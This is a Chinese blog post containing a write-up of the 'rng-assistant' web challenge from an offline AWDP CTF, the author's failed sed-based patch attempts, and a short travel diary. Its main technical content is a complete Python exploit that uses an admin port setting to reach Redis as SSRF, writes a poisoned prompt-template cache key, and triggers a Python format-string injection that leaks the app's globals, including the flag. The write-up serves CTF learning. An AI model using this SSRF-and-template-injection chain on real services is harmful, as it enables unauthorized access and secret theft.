前言

本来想认真记录并复盘的,结果实在是打得太烂了,只能以复盘+日记为主了。


WP 整理

先整理了一下其他师傅的 WP

AWDP

  • php-master(web-pwn)
  • time-capsule(web)
  • blog(web)
  • ccforum(web)
  • chatroom(web)
  • rng-assistant(web)
  • prompt(pwn)
  • typo(pwn)
  • post_quantum(pwn)

ISW

  • 应急响应
  • 数据库管理系统
  • Web-Git
  • CCB2025

writeup

复现

线下时主要再打 RNG,现在复现一下 RNG 试试。

rng-assistant(web)

break

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.
├── app
│ ├── app.py
│ ├── flag.py
│ ├── mini-ollama
│ │ ├── default.py
│ │ ├── math-v1.py
│ │ └── mini_ollama.py
│ └── static
│ ├── prompts
│ │ └── math-v1.txt
│ └── public
├── docker-compose.yml
├── Dockerfile
├── flask_app.conf
└── start.sh

比赛时看了好久没打出来(不过天津赛区好像最后也双双爆零哈哈),事后看了师傅们的 wp 感觉还不算很离谱,如果对 redis&SSTI 更敏感的话应该能做出来

app.py 开局将 flag.py import 了,目前看可以考虑从 app.py 下手,或直接读取文件

整理一下路由

1
2
3
4
5
6
/
/register
/login
/ask
/admin/raw_ask
/admin/model_ports

/register /login 常规的注册登录,/ask 带模板的问,/admin/raw_ask 直接控制提示词,/admin/model_ports 注意到可以自由设定端口。

很自然的想到 /admin/model_ports6379 端口,然后 /admin/raw_ask 能直接发送请求(像 SSRF 一样),测试一下也确实能连到 redis,但是权限极低,无法写入文件,(赛后尝试)无法主从复制。

仔细分析一下危险部分:

第一个是 model_query 函数,首先试图读取 redis 缓存,没有则请求模型,但有则直接返回,没有可利用的点,比赛时就卡这了。

第二个是 PromptTemplate 类的 get_template 函数,会尝试读取缓存或读取本地文件,之后在 get_prompt 函数中进行了 .format(t=self) 处理template_id 不可控,无法让他从读取 math-v1.txt 转而读取 ../flag.py,但是 redis 缓存是可以的,只要指定一个键 prompt:math-v1 即可。

第三是 /ask 路由会同时返回 answerprompt,前者是无用的,后者恰好是我们需要的,保证我们能够看到被模板注入后的提示词。

整个 exploit流程如下

1
注册账号 -> 登录账号 -> 注册模型 -> SSRF redis 写入缓存 -> /ask SSTI 模板注入

exploit 脚本如下

P.S. 搓了一个 python 解析 HTTP 报文的代码,不知道实用与否。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import requests

RHOST = "127.0.0.1"
RPORT = 18082


def parse_http_request(raw_request):
lines = raw_request.strip().replace('\r\n', '\n').split('\n')

request_line = lines[0].strip()
method, url, _ = request_line.split()

headers = {}
data = ''

for i in range(1, len(lines)):
line = lines[i].strip()
if not line:
data = '\n'.join(lines[i+1:]).lstrip('\r').strip('\n')
break
if ':' in line:
key, value = line.split(':', 1)
headers[key.strip()] = value.strip()

return method.lower(), url, headers, data

def send_http_request(raw_request):
method, url, headers, data = parse_http_request(raw_request)

response = requests.request(
method=method,
url=url,
headers=headers,
data=data.encode('utf-8') if data else None,
allow_redirects=False
)
return response


req_1 = f"""\
POST http://{RHOST}:{RPORT}/register HTTP/1.1
Host: {RHOST}
Content-Type: application/json
Connection: close

{{"username": "metamiku", "password": "123456"}}
"""

resp_1 = send_http_request(req_1)
print(resp_1.content)


req_2 = f"""\
POST http://{RHOST}:{RPORT}/login HTTP/1.1
Host: {RHOST}
Content-Type: application/json
Connection: close

{{"username": "metamiku", "password": "123456"}}
"""
resp_2 = send_http_request(req_2)
print(resp_2.content)
cookie = resp_2.headers.get('Set-Cookie', '')


req_3 = f"""\
POST http://{RHOST}:{RPORT}/admin/model_ports HTTP/1.1
Host: {RHOST}
Content-Type: application/json
X-User-Role: admin
X-Secret: 210317a2ee916063014c57d879b9d3bc
Cookie: {cookie}
Connection: close

{{"model_id": "redis", "port": 6379}}
"""
resp_3 = send_http_request(req_3)
print(resp_3.content)


req_4 = f"""\
POST http://{RHOST}:{RPORT}/admin/raw_ask HTTP/1.1
Host: {RHOST}
Content-Type: application/json
X-User-Role: admin
X-Secret: 210317a2ee916063014c57d879b9d3bc
Cookie: {cookie}
Connection: close

{{"model_id": "redis", "prompt": " set prompt:math-v1 {{t.get_template.__globals__}} \\r\\n"}}
"""
resp_4 = send_http_request(req_4)
print(resp_4.content)


req_5 = f"""\
POST http://{RHOST}:{RPORT}/ask HTTP/1.1
Host: {RHOST}
Content-Type: application/json
Cookie: {cookie}
Connection: close

{{"question": "1"}}
"""
resp_5 = send_http_request(req_5)
print(resp_5.content)

最后从 prompt 中拿到一大串东西,找到 FLAG 即可

fix

修不出来,十次全爆了,当时排行榜上也无解,官方也不给 check 脚本(强烈建议所有 AWDP 比赛放出 check 脚本,不然打完根本学不到什么东西),加上题目描述说用 sed,乱上加乱(听说不用 sed,直接替换也行,但是没试出来),网上没找到哪位师傅线下做出来了的。

下面介绍一下我 check 错的主要方案:

  1. 定位错了路径:exp 利用成功
  2. 直接删除 app.py:异常
  3. 直接ban掉整个api,exp利用成功(rnm)
第五次 check:

update.sh

1
2
3
4
5
6
7
#!/bin/bash
sed -i '/port = data.get("port")/a \
if port == 6379:\
return jsonify({"error": "Access denied"}), 403' /app/app/app.py
sed -i '/port = data.get("port")/a \
if port == 6379:\
return jsonify({"error": "Access denied"}), 403' /app/app.py

结果: exp利用成功

第九次 check:

app.pymanage_model_ports 后直接 return jsonify({"error": "Access denied"}), 403

update.sh

1
2
3
#!/bin/bash

mv ./app.py /app/

结果: exp利用成功

总结:人崩溃了,似都不知道怎么似的

20250409


日记

看别的师傅经常在线下赛的博客上记录一下,我也想试试

20250315

早上六点出发。坐上飞机,从起飞睡到降落,下机的时候着急忙慌,耳机挂在了前座,走到廊道发现不对劲,又折返回飞机上找耳机(悲)。

下午步行去天津理工大学试验环境,同时试了以下前些天搭建的 TailChat 聊天室,很好用(除了大文件上传),同时听到旁边队伍的几位师傅似乎也有在讨论聊天室的搭建。

赛中的 fix 是真的抽象,队友pwn✌修的明明和赛后其他师傅的方案一样,但是当时就是 check 不过,我自己的RNG也不过,难受。

有想法打几个 AWDP 的比赛练练手,主要是完全不知道该如何去修这东西,也不知道 check 的机制。也许可以尝试出一次题来看看出题者的视角?

赛中去卫生间竟然只是简单登记,真的不会有人浑水摸鱼吗?

天津理工的花很好看,非常好看。

IMG_20250316_080016

IMG_20250316_080105

IMG_20250316_080116

__END__